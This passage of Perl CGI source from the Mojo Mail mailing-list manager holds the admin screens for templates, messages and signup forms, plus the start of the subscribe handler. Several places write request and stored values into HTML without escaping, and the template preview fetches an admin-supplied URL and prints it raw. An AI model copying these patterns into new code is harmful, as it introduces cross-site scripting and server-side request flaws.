my $root_login = check_list_security(-Admin_List      => $admin_list,
                                     -Admin_Password  => $admin_password,
                                     -IP_Address      => $ENV{REMOTE_ADDR},
                                     -Function        => 'html_code');

 
$list = $admin_list; 
my %list_info = open_database(-List => $list); 

print(admin_html_header(-Title      => "Cut and Paste Code", 
                        -List       => $list_info{list},
                        -Root_Login => $root_login));

print p("You may change what the signup  form will look like by typing 
         what you want in the text boxes below. Click \"set\" to change
         the code in the main text box, click preview to see what it
         will look like."); 
 

print <<EOF
 </form> 
 <form action="$MOJO_URL" method="post" target="preview" name=the_form method=POST>
  <input type="hidden" name="flavor" value="preview_form">
  <table>
   <tr>
    <td>
     <p><b>Form Field Size</b></p>
    </td> 
    <td>
     <p align=right>
      <select name="the_size">
       <option value="8">small</option> 
       <option value="16" selected>medium</option> 
       <option value="24">large</option> 
      </select> 
     </p> 
    </td>
    <td>
     <input type="button" style='$STYLE{default_submit}' onclick=make_html(); value="set">
    </td>
   </tr>
   <tr>
    <td>
     <p><b>Form Field Label</b></p> 
    </td> 
    <td>
     <p><input type="text" name="form_field_label" value="email address"></p>
    </td> 
    <td>
     <p><input type="button" style='$STYLE{default_submit}' onclick=make_html();  value="set"></p> 
    </td>
   </tr>
   <tr>
    <td><p><b>Put Subscription Unsubscription Radio Buttons?</b></p> 
 </td> 
 <td>
  <p><select name=unsub_radio_buttons> 
      <option value="no">no</option> 
      <option value="yes">yes</option> 
     </select></p>
 </td> 
 <td>
  <p>
   <input type="button" style='$STYLE{default_submit}' onclick=make_html();  value="set"></p> 
 </td>
</tr>
<tr>
 <td>
  <p><b>Button Label</b></p> 
</td> 
<td>
 <p><input type="text"  name="button_label" value="Submit"></p>
 </td> 
 <td>
  <p><input type="button" style='$STYLE{default_submit}' onclick=make_html();  value="set"></p> 
 </td>
</tr>


EOF
;

if($HTML_FOOTER){ 

print <<EOF

<tr>
    <td><p><b>Give $PROGRAM_NAME Credit?</b></p> 
 </td> 
 <td>
  <p><select name="give_prog_credit"> 
      <option value="no">no</option> 
      <option value="yes">yes</option> 
     </select></p>
 </td> 
 <td>
  <p>
   <input type="button" style='$STYLE{default_submit}' onclick=make_html();  value="set"></p> 
 </td>
</tr>


EOF
; 

}

print <<EOF

</table> 
 
<p>Copy the code in the text box and add it to any page on your site.</P>
<textarea name="code" cols="50" rows="12" wrap="virtual">
  &lt;form action=&quot;$MOJO_URL&quot;&gt;
  &lt;input type=&quot;hidden&quot; name=&quot;flavor&quot; value=&quot;subscribe&quot;&gt;
  &lt;input type=&quot;hidden&quot; name=&quot;list&quot; value=&quot;$list&quot;&gt;
  &lt;input type=&quot;text&quot; name=&quot;email&quot; value=&quot;email address&quot;&gt;
  &lt;input type=&quot;submit&quot; value=&quot;Submit&quot;&gt;
  &lt;/form&gt; 
</textarea>
 <p><input type="submit" style='$STYLE{default_submit}'  value="Preview HTML" onclick=preview();>  (will open a new window)</p> 
 
EOF
;

print(admin_html_footer(-List => $list));

}




sub edit_template {

	my $root_login = check_list_security(-Admin_List      => $admin_list, 
										 -Admin_Password  => $admin_password,
										 -IP_Address      => $ENV{REMOTE_ADDR},
										 -Function        => 'edit_template');
	
	my $default_template = default_template($MOJO_URL); 
	unless(defined($process)) { 
		#set the _list
		$list = $admin_list; 
		my %list_info =  open_database(-List => $list); 
	
	print(admin_html_header(-Title      => "Edit Your Template", 
							-List       => $list_info{list},
							-Root_Login => $root_login));
	
	#good job!
	print $GOOD_JOB_MESSAGE if(defined($done)); 
	
	print qq{  
	 <p>$PROGRAM_NAME uses 'psuedo tags' to format its information on a
		webpage. These tags are replaced with the information they 
		represent when shown to your visitors. The psuedo tags 
		available are at the bottom of this screen.</p>   
	 </form>
	
	<form action="$MOJO_URL" method=POST name="the_form"> 
	 <input type="hidden" name=process value="true"> 
	 <input type="hidden" name="flavor" value="edit_template"> 
	 <input type="hidden" name="list" value="$list"> 
	};
	
	my $cleared_code_template = $default_template; 
	   $cleared_code_template =~ s/</&lt;/g;
	   $cleared_code_template =~ s/>/&gt;/g;
	   $cleared_code_template =~ s/\"/&quot;/g;
	
	print "<input type=radio name='get_template_data' value='from_template_file'";
	print "checked" if $list_info{get_template_data} ne 'from_url';
	print "> <b>Use This Information For The  Template:</b><br/>";
	
	print "<textarea name=\"template_info\" cols=\"70\" rows=\"20\" style=\"$text_area_style\">"; 
	
	my $template_exists = check_if_template_exists(-List => $list);
	if($template_exists >= 1) { 
		my $list_template = open_template(-List => $list); 
		print $list_template,"\n"; 
	}else{ 
		print $default_template,"\n"; 
	}
	print '</textarea>';
	eval { require LWP::Simple; };
	if(!@$){ 
		print '<p>&nbsp;</p><hr width=66% size=1 color=black>';
		print "<input type=radio name='get_template_data' value='from_url'";
		print "checked" if $list_info{get_template_data} eq 'from_url';
		print "> <b>Use this URL as the template:</b><br/>";
		
		print textfield(-name => 'url_template', -value => $list_info{url_template}, size=>'65');
	}
	print qq{ 
	<p><input type="hidden" name="default_template"     value="$cleared_code_template">
	<table border=0> 
	 <tr>
	  <td><input type="submit" style='$STYLE{default_submit}'  value="Preview Template" onclick="preview_template();"></td>
	  <td><input type="submit" style='$STYLE{green_submit}'    value="Change  Template"  onclick="change_template();"></td> 
	  <td><input type="reset"  style='$STYLE{yellow_submit}'   value="Clear  Changes"></td>
	  <td><input type="button" style='$STYLE{red_submit}'      value="Set To Default" onclick="set_to_default();"></td>
 	 </tr>
    </table> 
	};



	print "<p>&nbsp;</p><p align=right><b><a href=http://mojo.skazat.com/support/2.3/make_templates.html target=out>[?] List Template Tutorial</a></b></p>" if $SHOW_HELP_LINKS == 1;
	
	print qq{
	<table border="0" cellpadding="1" cellspacing="0" bgcolor="#000000" width=100%> 
	   <tr>
		<td bgcolor=#000000>
		 <table  border="0" cellspacing="1" cellpadding=5 width=100%> 
		 <tr><td bgcolor="#FFFFFF"  align=center><b>This Tag</b></td><td bgcolor="#FFFFFF" align=center><b>Is Replaced With</b></td></tr> 
		 <tr><td bgcolor="#FFFFFF">[mojo]</td><td bgcolor="#FFFFFF"> Instructions, warnings and general information. this tag is <b>needed</b> think of this tag as the content of your webpage. </td></tr> 
		 <tr><td bgcolor="#FFFFFF">[message]</td><td bgcolor="#FFFFFF"> A brief header describing what the message on the screen is about</td></tr> 
		 <tr><td bgcolor="#FFFFFF">[version]</td><td bgcolor="#FFFFFF"> Shows the version of the script</td></tr>
	   </table> 
	  </td>
	 </tr>
	</table> 
	};

	print(admin_html_footer(-List => $list));
 
	}else{ 
		my $template_info;
		my $test_header;
	    my $test_footer
	    ;
		if($process eq "preview template")  {
			if($q->param('get_template_data') eq 'from_url'){ 
				eval {require LWP::Simple;};
				if(!$@){ 
					$template_info = LWP::Simple::get($q->param('url_template'));
					($test_header, $test_footer) = split(/\[mojo\]/,$template_info);
				}	
			}else{  
				$template_info = $q->param("template_info"); 
				($test_header, $test_footer) = split(/\[mojo\]/,$template_info);
			}
			print header();
			
			$test_header =~ s/\[message\]/preview of template/g; 
			$test_header =~ s/\[version\]/$VER/g; 
			print $test_header; 
			print "<p>This is a <b>preview</b> (read: not saved!!!!) of your template.<p>to save, or edit, close this window and hit the <b>Change Template</b> button</p><p>&nbsp;</p>"; 
			
			$test_footer =~ s/\[message\]/preview of template/g; 
			$test_footer =~ s/\[version\]/$VER/g; 
			
			print $test_footer; 

		}else{
		
			$list = $admin_list; 	
			my $template_info     = $q->param("template_info"); 
			my $get_template_data = $q->param("get_template_data") || '';
			my $url_template      = $q->param('url_template')      || ''; 
	
			setup_list({list              => $list,
						get_template_data => $get_template_data,
						url_template     => $url_template});
	
			make_template(-List => $list, -Template  => $template_info);
		
			print $q->redirect(-uri=>"$MOJO_URL?flavor=edit_template&done=1"); 

		}

	}
 
}




sub back_link { 

my $root_login = check_list_security(-Admin_List      => $admin_list, 
                                     -Admin_Password  => $admin_password,
                                     -IP_Address      => $ENV{REMOTE_ADDR},
                                     -Function        => 'back_link');

# a few variables... 
my $website_name      =   $q   ->    param("website_name"); 
my $website_url       =   $q   ->    param("website_url"); 

unless(defined($process)){ 

$list = $admin_list;
my %list_info = open_database(-List => $list); 

print(admin_html_header(-Title      => "Create a Back Link", 
                        -List       => $list_info{list},
                        -Root_Login => $root_login));
 
#good job!

print $GOOD_JOB_MESSAGE if(defined($done)); 
 
print <<EOF   

Enter Your Website's  Name and its Web Address to create a back link 
in pages presented to your visitors. Both the Site  Name and Site URL are needed to 
make the link. Just leave both text fields blank to remove the link.</p> 

EOF
; 

my $w_name = $list_info{website_name} || ''; 
my $w_url  = $list_info{website_url}  || ''; 

print "<input type=hidden name=process value=\"true\">"; 
print "<input type=hidden name=flavor value=\"back_link\">"; 
print "<p>Site Name:<br>"; 
print "<input type=text name=website_name value='$w_name'></p>"; 
print "<p>Site Address:<br>"; 
print "<input type=text name=website_url value='$w_url'></p>"; 

print submit_form(-Submit=>'Change Back Link');
print(admin_html_footer(-List => $list));

}else{ 

$list = $admin_list;
my %list_info =  open_database(-List => $list); 
my %new_info = ( 
 list             =>   $list_info{list},
 website_name     =>   $website_name,
 website_url      =>   $website_url);

my $status = setup_list(\%new_info);
user_error(-List => $list, -Error => "no_permissions_to_write") if $status == 0; 

print $q -> redirect(-uri=>"$MOJO_URL?flavor=back_link&done=1"); 

}
}




sub edit_type {

my $root_login = check_list_security(-Admin_List     => $admin_list, 
									-Admin_Password  => $admin_password,
									-IP_Address      => $ENV{REMOTE_ADDR},
									-Function        => 'edit_type');

# a few variables... 
my $edit_subscribed_message          =   $q->param('edit_subscribed_message'); 
my $edit_unsubscribed_message        =   $q->param('edit_unsubscribed_message');
my $edit_confirmation_message        =   $q->param('edit_confirmation_message'); 
my $edit_unsub_confirmation_message  =   $q->param('edit_unsub_confirmation_message'); 
my $edit_mailing_list_message        =   $q->param('edit_mailing_list_message'); 
my $edit_mailing_list_message_html   =   $q->param('edit_mailing_list_message_html'); 
my $edit_not_allowed_to_post_message =   $q->param('edit_not_allowed_to_post_message');

unless(defined($process)){ 

$list = $admin_list;
my %list_info = open_database(-List => $list); 


print(admin_html_header(-Title      => "Customize E-mail Messages", 
                        -List       => $list_info{list},
                        -Root_Login => $root_login));

#good job!
print $GOOD_JOB_MESSAGE if(defined($done)); 

my $submit_form = submit_form(-Submit=>'Save All Changes', -Reset=>'Clear All Changes');

print hidden('process', 'true'); 
print hidden('flavor', 'edit_type'); 



print p("You can customize many of the e-mail messages $PROGRAM_NAME sends. $PROGRAM_NAME uses 'Pseudo Tags' to represent 
data that may change regularly. Use the Psuedo tags to represent Information like subscription/unsubscription links or your list name. 
The entire list of available tags is at the end of this page."),

p(b('Subscription Confirmation E-Mail:'), br(), 
   'This e-mail is sent when someone requests to be subscribed to your list'),
p(textarea(-rows  => 10, 
                 -cols  => 50, 
                 -name  => 'edit_confirmation_message',
                 -value => $list_info{confirmation_message}, 
                 -wrap  => $wrap,
      		     -style => $text_area_style)); 
      		      
   
print $submit_form;
print p(b('Unsubscription Confirmation E-Mail:'), br(), 
          'This e-mail is sent when someone requests to be unsubscribed to your list'), 
      p(textarea(-rows  => 10, 
                 -cols  => 50, 
                 -name  => 'edit_unsub_confirmation_message',
                 -value => $list_info{unsub_confirmation_message}, 
                 -wrap  => $wrap,
      		     -style => $text_area_style)); 
print $submit_form;

print p(b('Subscription Successful E-Mail Message:'), br(), 
          'This e-mail is sent after the confirmation e-mail and the person replys to the confirmation.'), 
        p(textarea(-rows  => 10, 
                 -cols  => 50, 
                 -name  => 'edit_subscribed_message',
                 -value => $list_info{subscribed_message}, 
                 -wrap  => $wrap,
      		     -style => $text_area_style));     
print $submit_form;
print p(b('Unsubscription Successful E-Mail Message:'), br(), 
          'This e-mail is sent after someone unsubscribes from your list.'), 
      p(textarea(-rows  => 10, 
                 -cols  => 50, 
                 -name  => 'edit_unsubscribed_message',
                 -value => $list_info{unsubscribed_message}, 
                 -wrap  => $wrap,
      		     -style => $text_area_style));  
print $submit_form;
print p(b('Mailing List Message (Text Version):'), br(), 
          'This is the mailing list message (Text Version). The bottom of the e-mail should at least provide how to unsubscribe from the Mailing List.'),
      p(textarea(-rows  => 10, 
                 -cols  => 50, 
                 -name  => 'edit_mailing_list_message',
                 -value => $list_info{mailing_list_message}, 
                 -wrap  => $wrap,
      		     -style => $text_area_style));      
print $submit_form;

print p(b('Mailing List Message (HTML Version):'), br(), 
          'This is the mailing list message (HTML version). The bottom of the e-mail should at least provide how to unsubscribe from the Mailing List.'),
      p(textarea(-rows  => 10, 
                 -cols  => 50, 
                 -name  => 'edit_mailing_list_message_html',
                 -value => $list_info{mailing_list_message_html}, 
                 -wrap  => $wrap,
      		     -style => $text_area_style));      
print $submit_form;


print p(b('Not Allowed to Post Message:'), br(),
           'This message is sent out if you use the mojo_send.pl script that allows you to send mailing list e-mails 
            by sending an e-mail to a special address. People who are not allowed to post to the list wil receive this message.'), 
      p(textarea(-rows  => 10, 
                 -cols  => 50, 
                 -name  => 'edit_not_allowed_to_post_message',
                 -value => $list_info{not_allowed_to_post_message}, 
                 -wrap  => $wrap,
      		     -style => $text_area_style));          
print $submit_form;  

print p('&nbsp;'); 
my %td = (-bgcolor=>'#FFFFFF'); 

print table({-border=>0, cellpadding=>1, cellspacing=>0, -bgcolor=>'#000000', -width=>'100%'}, 
      Tr(td({-bgcolor=>'#000000'}, [(
      table({-border=>0, -cellspacing=>1, -cellpadding=>5, -width=>'100%'},
      Tr(td({-bgcolor=>'#FFFFFF', -align=>'center'},[(p(b('This Tag'))), (p(b('Is Replaced With')))])), 
 	  Tr(td({%td},[('[list_name]'),             ('The name of your list')])),
 	  Tr(td({%td},[('[list_info]'),             ('The description of your list')])),
  	  Tr(td({%td},[('[list_subscribe_link]'),   ('The subscription link')])),
  	  Tr(td({%td},[('[list_unsubscribe_link]'), ('The unsubscription link')])),
  	  Tr(td({%td},[('[list_privacy_policy]'),   ('The privacy policy of your list')])),
  	  Tr(td({%td},[('[list_owner_email]'),      ('The list-owner\'s e-mail address')])),  	    	  
  	  Tr(td({%td},[('[list_admin_email]'),      ('The list-administrator\'s e-mail address')])),  
  	  Tr(td({%td},[('[mojo_url]'),              ("The url of this script,  $MOJO_URL")])),    	    
 	  ))])));

print(admin_html_footer(-List => $list));
}else{ 

$list = $admin_list;

$edit_subscribed_message          =~ s/\r\n/\n/g;
$edit_unsubscribed_message        =~ s/\r\n/\n/g;
$edit_confirmation_message        =~ s/\r\n/\n/g;
$edit_unsub_confirmation_message  =~ s/\r\n/\n/g;
$edit_mailing_list_message        =~ s/\r\n/\n/g;
$edit_mailing_list_message        =~ s/\r\n/\n/g;
$edit_mailing_list_message_html   =~ s/\r\n/\n/g;
$edit_not_allowed_to_post_message =~ s/\r\n/\n/g;

my %list_info =  open_database(-List => $list);
 
my %new_info = ( 
list                         =>   $list_info{list},
subscribed_message           =>   $edit_subscribed_message,
unsubscribed_message         =>   $edit_unsubscribed_message,
confirmation_message         =>   $edit_confirmation_message,
unsub_confirmation_message   =>   $edit_unsub_confirmation_message,
mailing_list_message         =>   $edit_mailing_list_message,
mailing_list_message_html    =>   $edit_mailing_list_message_html,
not_allowed_to_post_message  =>   $edit_not_allowed_to_post_message);

my $status = setup_list(\%new_info);
user_error(-List => $list, -Error => "no_permissions_to_write") if $status == 0; 
print $q->redirect(-uri=>"$MOJO_URL?flavor=edit_type&done=1"); 

		}
	}
######################################################################

sub edit_html_type { 

my $root_login = check_list_security(-Admin_List      => $admin_list, 
 									 -Admin_Password  => $admin_password,
 									 -IP_Address      => $ENV{REMOTE_ADDR},
 									 -Function        => 'edit_html_type');

#a few variables... 

my $edit_html_confirmation_message       = $q->param('edit_html_confirmation_message'); 
my $edit_html_unsub_confirmation_message = $q->param('edit_html_unsub_confirmation_message'); 
my $edit_html_subscribed_message         = $q->param('edit_html_subscribed_message'); 
my $edit_html_unsubscribed_message       = $q->param('edit_html_unsubscribed_message'); 

unless(defined($process)){ 


my $submit_form = submit_form(-Submit=>'Save All Changes', -Reset=>'Clear All Changes');

$list = $admin_list;
my %list_info = open_database(-List => $list); 


print(admin_html_header(-Title      => "Customize HTML  Messages", 
                        -List       => $list_info{list},
                        -Root_Login => $root_login));
 
#good job!
print $GOOD_JOB_MESSAGE if(defined($done)); 
print "<input type=hidden name=process value=\"true\">"; 
print "<input type=hidden name=flavor value=\"edit_html_type\">"; 

print p("You can customize many of the HTML screens $PROGRAM_NAME  produces. 
         $PROGRAM_NAME uses 'Pseudo Tags' to represent data that may change regularly."); 

print p(b('Subscription Confirmation Screen:'), br(),
          'This text is shown after someone enters their e-mail address to subscribe to your list'), 
      p(textarea(-rows  => 10, 
                 -cols  => 50, 
                 -name  => 'edit_html_confirmation_message',
                 -value => $list_info{html_confirmation_message}, 
                 -wrap  => $wrap,
      		     -style => $text_area_style)); 
      		     
print $submit_form; 
print p(b('Unsubscription Confirmation Screen:'), br(), 
          'This text is shown after someone enters their e-mail address to 
          unsubscribe to your list'), 
      p(textarea(-rows  => 10, 
                 -cols  => 50, 
                 -name  => 'edit_html_unsub_confirmation_message',
                 -value => $list_info{html_unsub_confirmation_message}, 
                 -wrap  => $wrap,
      		     -style => $text_area_style)); 
print $submit_form;
print p(b('Subscription Successful Screen:'), br(), 
          'This text is shown after the subscriber clicks on the confirmation
            e-mails\'s subscription link'), 
      p(textarea(-rows  => 10,
                 -cols  => 50,
                 -name  => 'edit_html_subscribed_message', 
                 -value => $list_info{html_subscribed_message}, 
                 -wrap  => $wrap,
      		     -style => $text_area_style)); 
print $submit_form;
print p(b('Unsubscription Successful Screen:'), br(), 
          'This text is shown after someone unsubscribes'), 
      p(textarea(-rows  => 10, 
                 -cols  => 50, 
                 -name  => 'edit_html_unsubscribed_message',
                 -value => $list_info{html_unsubscribed_message},
                 -wrap  => $wrap,
      		     -style => $text_area_style)); 
print $submit_form;
print p('&nbsp;'); 

my %td = (-bgcolor=>'#FFFFFF'); 

print table({-border=>0, cellpadding=>1, cellspacing=>0, -bgcolor=>'#000000', -width=>'100%'}, 
      Tr(td({-bgcolor=>'#000000'}, [(
      table({-border=>0, -cellspacing=>1, -cellpadding=>5, -width=>'100%'},
      Tr(td({-bgcolor=>'#FFFFFF', -align=>'center'},[(p(b('This Tag'))), (p(b('Is Replaced With')))])), 
      Tr(td({%td},[('[subscriber_email]'), ('The e-mail address of the subscriber')])), 
      Tr(td({%td},[('[list_name]'), ('The name of your list')])), 
      Tr(td({%td},[('[list_info]'), ('The description of your list')])), 
      Tr(td({%td},[('[list_privacy_policy]'), ('The privacy policy of your list')])), 
      Tr(td({%td},[('[list_owner_email]'), ('The list-owner\'s e-mail address')])), 
      Tr(td({%td},[('[list_admin_email]'), ('The list-administrator\'s e-mail address')])), 
      Tr(td({%td},[('[mojo_url]'), ("The url of this script,  $MOJO_URL")]))
      ))])));
print(admin_html_footer(-List => $list));

}else{ 

$list = $admin_list;

for($edit_html_confirmation_message,
    $edit_html_unsub_confirmation_message,
    $edit_html_subscribed_message,
    $edit_html_unsubscribed_message){s/\r\n/\n/g} 

my %list_info = open_database(-List => $list); 
my %new_info = ( 
list                              =>   $list_info{list},
html_confirmation_message         =>   $edit_html_confirmation_message,
html_unsub_confirmation_message   =>   $edit_html_unsub_confirmation_message, 
html_subscribed_message           =>   $edit_html_subscribed_message,
html_unsubscribed_message         =>   $edit_html_unsubscribed_message);

my $status = setup_list(\%new_info);
user_error(-List => $list, -Error => "no_permissions_to_write") if $status == 0; 
print $q->redirect(-uri=>"$MOJO_URL?flavor=edit_html_type&done=1"); 
}
}




sub manage_script { 

my $root_login = check_list_security(-Admin_List      => $admin_list,
									 -Admin_Password  => $admin_password,
									 -IP_Address      => $ENV{REMOTE_ADDR},
									 -Function        => 'manage_script');

my $more_info = $q -> param('more_info') || undef; 
$list = $admin_list; 
my %list_info =  open_database(-List => $list); 



print(admin_html_header(-Title      => "About $PROGRAM_NAME", 
                        -List       => $list_info{list},
                        -Root_Login => $root_login));
print <<EOF 

<p><b>Script Information</b></p> 
<p>This is $PROGRAM_NAME<br> 
 <table cellspacing=0 cellpadding=5> 
  <tr>
   <td width=50%>
    <p>Version:</p></td><td width=50%><p>$VER</p>
   </td> 
  </tr> 
EOF
; 

if($more_info){ 

my $server_sw = $q->server_software();
my $ulimit  = `ulimit -a`;
   $ulimit =~ s/\n/<br\/>/g;
   
print Tr(td(["<p class=small>Given Path To Your Mail Program:</p>", "<p class=small>$MAILPROG</p>"])); 
print Tr(td(["<p class=small>Given List Path:</p>",                 "<p class=small>$FILES</p>"])); 
print Tr(td(["<p class=small>Given $PROGRAM_NAME URL:</p>",                  "<p class=small>$MOJO_URL</p>"])); 
print Tr(td(["<p class=small>SMTP Server:</p>",                     "<p class=small>$list_info{smtp_server}</p>"])) if ($list_info{smtp_server}); 
print Tr(td(["<p class=small>Server Software:</p>",                 "<p class=small> $server_sw </p>"]));
print Tr(td(["<p class=small>Operating System:</p>",                "<p class=small>$^O</p>"]));
print Tr(td(["<p class=small>Perl Version:</p>",                    "<p class=small>$]</p>"]));
my $sendmail	=`whereis sendmail`;
print Tr(td(["<p class=small>Sendmail Locations:</p>",                    "<p class=small>$sendmail</p>"]));
print Tr(td(["<p class=small>$PROGRAM_NAME Script URL (Guess):</p>",         "<p class=small>$ENV{SCRIPT_URI}</p>"]));
print Tr(td(["<p class=small>mojo.cgi Absolute Path (Guess)</p>",   "<p class=small>$ENV{SCRIPT_FILENAME}</p>"]));
print Tr(td(["<p class=small>Resource Limits:</p>",   "<p class=small>$ulimit</p>"]));

print "</table>"; 
print "<b><a href=$MOJO_URL?flavor=manage_script>Less ...</a></b>"; 

}else{ 

print "</table>"; 
print "<b><a href=$MOJO_URL?flavor=manage_script&more_info=1>More ...</a></b>"; 

}

print <<EOF
<p>It's a good idea to periodically check for updates to this script, 
as bug fixes and features may be added that you may want to take advantage of:</p> 

<center><input type=button style='$STYLE{default_submit}' onclick=check_newest_version() value="Check Version"></center>

<hr noshade size=1 color=black> 

<p><b>Visit the support site</b></p> 

<p>An entire support site has been set up just for Mojo Mail. There,
 you'll be able to browse through faqs, instructions, tips and tricks
 and whatever else we can muster:</p>  
<center><p><b><a href=http://mojo.skazat.com target=out>http://mojo.skazat.com</a></b></P></center> 

<hr noshade size=1 color=black> 
<p><b>Join the Skazat Design mailing list</b></p>
<p>This mailing list provides information about Skazat Designs and Mojo Mail.
It's used to announce new features to Mojo Mail, as well as other projects from Skazat Designs. 
the list is low traffic and usually e-mails are not sent out more than once a month</p> 
</form> 
<center> 

<form action="http://mojo.skazat.com/cgi-bin/mojo/mojo.cgi" method=GET target=out>
 <input type="hidden" name="flavor" value="subscribe">
<input type="hidden" name="list" value="skazat_design_newsletter">
<input type="text" name="email" value="$list_info{mojo_email}" size="24">
<input type="submit" style='$STYLE{green_submit}' value="Subscribe">
</form>

<form action="$MOJO_URL" method=POST> 
</center> 

<hr noshade size=1 width=66% color=black align=center> 
<p>Join the <b>mojo mailers</b> developers list. This group discusion list is used to talk 
primarily about Mojo Mail and its development. If your interested in working with Mojo Mail
to add features, please join the list.
</form> 
<center> 

<form action="http://mojo.skazat.com/cgi-bin/mojo/mojo.cgi" method=GET target=out>
 <input type="hidden" name="flavor" value="subscribe">
 <input type="hidden" name="list" value="mojo_mailers">
 <input type="text" name="email" value="$list_info{mojo_email}" size="24">
 <input type="submit" style='$STYLE{green_submit}' value="Subscribe">
</form>

<form action="$MOJO_URL" method=POST> 

</center> 
<hr noshade size=1 width=66% color=black align=center> 
<p><b>Give Back to Mojo Mail</b></p>
<p>Mojo Mail is free, open source software, <b>you are in absolutely no obligation to
pay for Mojo Mail by downloading or using it.</b>  If you find Mojo Mail incredibly useful, 
you may want to give to the Mojo Mail project, money goes towards the cost of 
web server hosting for the support site, software used to make this product and to basically 
keep the lights on. Any leftover money goes toward my college education. 

<p>We want to thank everyone who has given time and money into Mojo Mail
and we do admit that this project couldn't have been done entirely alone. A fee of \$50.00 
is something we recommend, although any amount you seem fit is always welcome. <b>We <i>strongly</i>
recommend businesses and other for-profit groups to give something for the use of Mojo Mail.</b></p>

<p>You may send your support directly to the developer:</p> 
<p align=center>Justin Simoni<br> 
P.O. Box 369<br> 
Boulder, CO, USA<br> 
80306</p> 

<p>You can also use <a href=http://paypal.com target=out>Pay Pal</a> 
to send funds for Mojo Mail. Pay Pal is a safe, secure online payment system. 

<a href=https://secure.paypal.com/xclick/business=justin%40skazat.com&undefined_quantity=1&item_name=Mojo+Mail&amount=50.00&return=http%3A//mojo.skazat.com/payment_thanks.html target=out> 
<b>Click Here to Send Funds.</b></a>
 
<p>We find it fitting to tell people who give that they should remove 
the referring links  that bring you to the <a href=http://mojo.skazat.com target=out>Mojo Mail</a> 
support site. These links are located in the Config.pm file. 

<hr noshade size=1 width=66% color=black align=center> 

<p><b>Customizations to the Mojo Mail Program</b></p>
<p>Mojo Mail is developing rapidly, with many great new features added all the time.
 If you need a feature that is not included in Mojo Mail, you can always have this feature added by 
 the developer of Mojo Mail. Consultation, Installation and Customization services are available. Please visit: 
 
  <a href=http://mojo.skazat.com/support/customize.html target=out>http://mojo.skazat.com/support/customize.html</a> for more information.</p>

<hr noshade size=1 width=66% color=black align=center> 

<p><b>License Agreement</b></p> 
 
<p>Mojo Mail is Open Source Software and is released under the 
<b><a href=http://www.gnu.org/copyleft/gpl.html target=gnu>GNU Public License</a></b></p>

<p><b>Mojo Mail and SPAM</b></p> 
<p>Do not use Mojo Mail for SPAM. Don't even eat SPAM. Really, it's disgusting. 
We're ramen-eatin folks. Seriously though, please read our stance on SPAM:</p>
<p><a href=http://mojo.skazat.com/about/spam.html target=out>http://mojo.skazat.com/about/spam.html</a></p>
EOF
; 

print(admin_html_footer(-List => $list));
 
}

sub feature_set { 
	my $root_login = check_list_security(-Admin_List      => $admin_list,
										 -Admin_Password  => $admin_password,
										 -IP_Address      => $ENV{REMOTE_ADDR},
										 -Function        => 'feature_set');
	$list = $admin_list; 
	my %list_info =  open_database(-List => $list); 
	
	require MOJO::Widgets::Admin_Menu; 
	
	if(!$process){ 
		print(admin_html_header(-Title      => "Customize Feature Set", 
								-List       => $list_info{list},
								-Root_Login => $root_login));
		
		print $GOOD_JOB_MESSAGE if(defined($done)); 
		print  MOJO::Widgets::Admin_Menu::make_feature_menu(\%list_info); 
		print hidden('process', 'true'); 
		print hidden('flavor', 'feature_set');
		print p(submit_form());
		print(admin_html_footer(-List => $list));
	
	}else{ 
		
		my @params = $q->param; 
		my %param_hash; 
		foreach(@params){$param_hash{$_} = $q->param($_);}	
			my $save_set = MOJO::Widgets::Admin_Menu::create_save_set(\%param_hash); 		
			my %new_info = (list => $list, admin_menu => $save_set);
			setup_list(\%new_info); 
			print $q->redirect(-uri=>"$MOJO_URL?flavor=feature_set&done=1"); 
		}
}


sub subscribe { 


# this has been totally redone (11/16/00) 
# it was getting a bit messy 


# if it we aint got nothing, just give them the signup form, 
# well, how bout just give them the main page? 

unless($list){&default;exit;}
    
# ok, that was easy, now, let say they have the email address,
# but no list, lets give them the main page, with their email address
# already filled in! Gosh we're resourceful, and smart
#(and bad spelers) 


# ok, if we /have/ a list, lets make a signup form for *just* that list. 
# we be cool like dat. 
my $list_exists = 0; 


if($list){ 
#lets make sure it exists, then we'll do something about it. 
$list_exists = check_if_list_exists(-List=>$list,);
}

# ok, now /if/ it exists, we'll give it its own signup form, 
# else? you got it, back to the default page, mu hah hah!

if($list_exists == 0){ 
# nope, we don't have the list. 
&default; exit; 
}elsif (($list_exists >=1) && ($email eq "")){ 

# hey, ok, if we don't have the email, give em the form to 
# fill it in, if have, both the list, well, send the stupid confirmation 
# email

#database is opened for that list
my %list_info = open_database(-List => $list, -Format => "replaced");

# abit of a hack, if the information is blank, we probably still don't have a list; 
#user_error(-Error => 'no_list') unless($list_info{list});


my $lh = MOJO::List->new(-List => $list, -Path => $FILES);
                                 
# else show the signup form. Gosh this is alot better, than the spaghetti I had! 

print header(); 
print(the_html(-Part  =>  "header",
               -Title => "subscribe to a list", 
               -List  =>  $list));

print p("Subscribe to $list_info{list_name}, enter your email address below:\n");

print <<EOF

<p><b>E-mail:</b>
 <input type="text" name=email value="$email">
 <input type=submit style='$STYLE{default_submit}' value="subscribe">
 <input type=hidden name=flavor value=subscribe>
 <input type=hidden name=list value=$list>
</p> 

EOF
; 


print(the_html(-Part      => "footer", 
               -List      => $list,
               -Site_Name => $list_info{website_name},
               -Site_URL  => $list_info{website_url})); 

exit; 
    
}elsif(($list_exists >=1) && defined($email)) { 


# here we are *whew* got through that, now, ok, theres more :( 
# we have to make sure 

    # the email is valid, 
    # the email is banned,
    # the email isn't already in the list 
    # the list isn't closed 
    # i still have my sanity. 
    
#email is checked for validity
my $invalid_email = check_for_valid_email($email);
   user_error(-List => $list, -Error => "invalid_email", -Email => $email)if($invalid_email >= 1);

  
  
# js - lowercase domain part of the email
$email = lc_email($email);

my %list_info = open_database(-List => $list, -Format => "replaced");


if($list_info{mx_check} == "1"){
	require Email::Valid;
	eval {
		unless(Email::Valid->address(-address => $email,
									 -mxcheck => 1)) {
			user_error(-List => $list, -Error => "mx_lookup_failed", -Email => $email);
		};
		warn "mx check error: $@" if $@;
	}; 
}			
  		
my $lh = MOJO::List->new(-List => $list);
                             
if($list_info{black_list} eq "1"){

#email is checked to see if it is banned 
my $banned_email = $lh->check_for_double_email(-List   => $list, 
                                               -Email  => $email,
                                               -Type   => "black_list");

unless($list_info{allow_blacklisted_to_subscribe} eq "1"){                                    
	user_error(-List => $list, -Error => "black_listed", -Email => $email) if($banned_email >= 1);                                       
}

}


#email is checked to see if its even there
my $doubled_email = $lh->check_for_double_email(-List  => $list, 
                                           -Email => $email);
                             
# js - lowercase domain part of the email
$email = lc_email($email);

